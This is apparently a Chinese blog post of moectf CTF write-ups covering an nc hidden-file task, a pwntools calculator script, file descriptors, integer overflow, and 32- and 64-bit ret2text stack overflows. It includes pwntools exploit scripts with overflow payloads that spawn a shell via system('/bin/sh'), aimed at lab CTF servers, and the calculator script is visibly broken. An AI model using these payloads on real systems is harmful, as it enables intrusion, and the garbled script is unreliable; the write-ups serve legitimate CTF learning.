flag:moectf {M4ke_ A _Promi5e_7hat_1_C4nn0t_Re9ret}

2.test_nc:

打开题目的终端,根据题目是一个简单的nc连接服务器的终端,拿到shell,打开kali的命令行,输入:nc 终端,连接它的终端服务器:

输入ls命令,查看它服务器里面的信息,发现没有flag,但是有个gift的文件,用cat gift 命令来查看文件里面的信息,里面有段话意思是你知道隐藏文件吗,这里就给了我们很大的提示flag可能是隐藏文件,输入ls -al来查看隐藏文件:

发现有个flag的隐藏文件,现在就清晰了,直接cat .flag来查看隐藏文件中的信息:

这里就可以的到它的flag:

moectf{eBh7cP37QXqa6dsIFjnExloaMEqobzYS}

3.baby_calculator:

题目描述:这里有一台计算器,luo希望你可以帮他检查一下,但是手动检查看上去会很困难,希望“pwntools”会帮到你,这里提示要用到写脚本或者shellcode,用nc来连一下服务器看一下

如图所示,这里是一台计算机,如果计算的正确就输入“BlackBird",计算错误的话就输入”WingS",判断100次就可以得到flag,这里就要运用脚本的力量来实现了

python脚本:

from pwn import *

p = remote( ' 192.168.0.114' ,50348)

    for i in range(100):
    p.recvuntil( "first: ")
    first = int(p.recvline()[:-1])
    p.recvuntil( "second: " )
    second = int(p.recvline()[:-1])
    p.recvuntil("=")
    nt_overiisuan = int(p.recvline()[:-1])

    jiafa = first + second

    print( first,second,jisuan , jiafa)

    if jiafa = jisuan:
        p.sendline( "BlackBird")
    else:
        p.sendline( "Wings")

p.interactive()

运行脚本就可以得到flag:

flag:moectf{H4ve_y0u_rea11y_useD_Pwnt00ls??????}

4.fd:

题目描述:你知道什么是fd(file descriptor)吗,题目提示是fd,然后先了解一下pwn里面的fd(文件描述符),查看一下文件是64位的ELF文件,将题目放进IDA里面分析一下:

现在我们可以计算一下new_fd是多少

print((4*3)|0x29A)         #结果670

这里为什么用3?因为再POSIX语义中。0, 1, 2 这三个 fd 值已经被赋予了特殊含义,分别是标准输入(STDIN_FILENO),标准输出( STDOUT_FILENO),标准错误( STDERR_FTLENO)

Linux标准文件描述符是这样规定的

数字0表示STDIN,即标准输入,也就是我们通过运行程序之后,在命令行输入的数据

数字1表示STDOUT,即标准输出,也就是程序运行过程中,在终端显示的数据。

数字2表示STDERR,即标准错误输入,也就是程序运行时如果发生错误,导致不能正常退出时,终端上会显示的信息。

最后得到flag:

flag:moectf{lqauLlQEq6RXIuNg4QbBlYGVd5x5qjAt}

5.int_overflow:

题目描述:你知道整形溢出吗,提示很明显的整型溢出,查看一下文件属性是一个64位的ELF文件,将它放进IDA里面进行分析一下:

主函数里面很清晰,输入一个v1,当v1 == -114514时,进入backdoor函数,跟进backdoor函数:

进入backdoor函数就可以打印flag,然后我们进入kali里面连接他的靶机试一下:

看来不行,我们进入get_input(&v1)看一下:

搜索一下 strchr函数的作用,strchr函数查找给定字符的第一个匹配处,buf就是我们输入的v1,45是负号,因此当我们输入的第一个字符是负号就会变成0,所以还是要溢出,利用IDA的h功能(按h键会进行16进制和10进制的转换):

再按一次h键:

现在变成了一个整数,再输入进去看一下:

OK拿到flag

flag:moectf{-1ieJBuJA2SGKvzAGBrFO0BTgaUWjQxp}

6.ret2text_32:

题目描述:一道最基础的32位栈溢出题,将它放进32位的IDA里面查看一下:

nbytest可以无限输入,所以在read函数这里肯定是存在栈溢出

这里要查找一下system对应的地址,这里要看左边的: _system,而不是system:

这里有个很明显的后门函数,但是我们可以得到的只有system,因此我们还需要找一下/bin/sh(用shift+12):

现在system和/bin/sh的地址都有了,看一下栈的空间如何进行溢出

现在就可以编写exp:

from pwn import *

p = remote('192.168.43.114',57664)
#p = process('./pwn')
p.sendline("300")
payload = b'a'*(0x58+4)+p32(0x08049070)+p32(0)+p32(0x0804C02C)

p.sendline(payload)
p.interactive()

最后就可以得到他的flag,其中这里是32位栈的传参方式,方法+空+参数。故exp那里是system+空+/bin/sh,还有这里的空可以是p32(0),也可以是p32(9)

flag:moectf{Vku4z2Up7jmV5WQ-KH2S3jXoi0b5YqNa}

7.ret2text_64:

题目描述:64位和32位到底有什么不同呢?根据题目提示,将它放在IDA里面查看一下

还是一样的找到它的system和/bin/sh的地址:

但是这里的system地址是这个:

编写exp:

from pwn import *

p = remote('192.168.0.106',53761)

pop_rdi = 0x00000000004011BE
p.sendlineafter("age?","300")

payload = b'a'*(0x50+8)+p64(pop_rdi)+p64(0x404050)+p64(0x4012B7)
p.sendline(payload)

p.interactive()

ps:64位传参是要寄存器的,这里的pop_rdi是第一个参数的寄存器,rsi是第二个,这里的pop_rdi实际上是 pop_rdi_ret ,这里是什么意思呢,就是pop(压栈,将参数放在栈里面) + 参数 + ret(返回地址)

然后它的payload的意思就是,先溢出到rbp,然后把rbp值覆盖成pop_rdi地址,然后放入参数(/bin/sh) , 再跳转到system的地址

在IDA里面也可以看得到pop_rdi(出题人也很细心的给了):

最后得到它的flag:

flag:moectf{6gE0CCR9OIRaSHBR5YpAgQvqLRP7GWVK}

posted @   张伟文  阅读(221)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 全程不用写代码,我用AI程序员写了一个飞机大战
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· .NET10 - 预览版1新功能体验(一)
点击右上角即可分享
微信分享提示